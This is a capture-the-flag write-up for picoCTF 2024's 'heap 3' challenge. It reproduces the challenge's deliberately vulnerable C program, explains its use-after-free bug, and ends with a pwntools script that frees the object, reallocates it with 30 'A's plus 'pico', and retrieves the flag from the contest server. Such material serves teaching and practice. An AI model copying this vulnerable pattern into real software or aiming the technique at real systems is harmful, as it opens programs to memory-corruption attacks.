> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2024/binary-exploitation/heap-3-medium.md).

# heap 3 (Medium)

<figure><img src="/files/TGl1M5OnIAIclGiehPcW" alt=""><figcaption></figcaption></figure>

***

### **Source code:**

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

void print_menu() {
    printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

// Create a struct
void init() {

    printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
    fflush(stdout);

    x = malloc(sizeof(object));
    strncpy(x->flag, "bico", 5);
}

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_memory() {
    free(x);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x->flag, x->flag);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            alloc_object();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x->flag);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            free_memory();
            break;
        case 6:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

```

There's two major questions in this part of the CTF. The first one is, **What Is Allocating?** The second is: "**What is freeing?** To solve this CTF we need x to become pico instead of bico like the other challenges.

The first thing I want to point out is the free() question.

```
void free_memory() {
    free(x);
}
```

> The **free() function in C** is used to free or deallocate the dynamically allocated memory and helps in reducing memory wastage. The **C free()** function cannot be used to free the statically allocated memory (e.g., local variables) or memory allocated on the stack. It can only be used to deallocate the heap memory previously allocated using malloc(), calloc() and realloc() functions.

Essentially the free() command really only works for previous memory that was allocated using mallloc, etc... We would free() variables so that we don't run out of memory essentially. Imagine it like borrowing books. If we don't return those books, then we'll run of of books. Essentially the same, as once we free it, we can use the memory address blocks again.&#x20;

Once we free(x) we actually don't completely erase the contents of x. Rather it kind of stays there, but we won't have permission to access it.&#x20;

```c
void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}
```

Now regarding the other question, this is asks your for a size of memory to allocate. After that, it allocates that block of memory into the memory address to alloc. The scanf() takes the string the user put, and stores it into alloc.&#x20;

### Solution&#x20;

This challenge is called a "Use-after-free vulnerability".&#x20;

<figure><img src="/files/Zq7YsKV9IK4uZYkiaJze" alt=""><figcaption></figcaption></figure>

Freeing the data does not remove it, rather it just allows the block of memory to be reallocated. So first of all, the first thing to do is to run option number 5, to free it. This allows us to write the data in the block of memory address that will be printed back at us as x, and not some other memory address..

```
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
```

If we think back from the start, there's 30 characters allocated before the flag. Hence, we need some buffer/filler before actually putting the string pico.

We can do this using this or just creating a lot of As.

{% embed url="<https://wiremask.eu/tools/buffer-overflow-pattern-generator/>" %}

We can do this using this or just creating a lot of As.

```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9pico
```

After we put it in, it's easy from here.

<figure><img src="/files/o3xYyV6j66CowOg85S06" alt=""><figcaption></figcaption></figure>

### Script

<pre class="language-python"><code class="lang-python">from pwn import *

SERVER = 'tethys.picoctf.net'
PORT = 61294

io = remote(SERVER, PORT)

<strong>
</strong>io.sendlineafter(b"Enter your choice: ", b'5')

io.sendlineafter(b"Enter your choice: ", b'2')

io.sendlineafter(b"Size of object allocation: ", b'30')

payload = 30 * b'A' + b'pico'
io.sendlineafter(b"Data for flag: ", payload)

io.sendlineafter(b"Enter your choice: ", b'4')

print(io.recvallS())
io.close()
</code></pre>
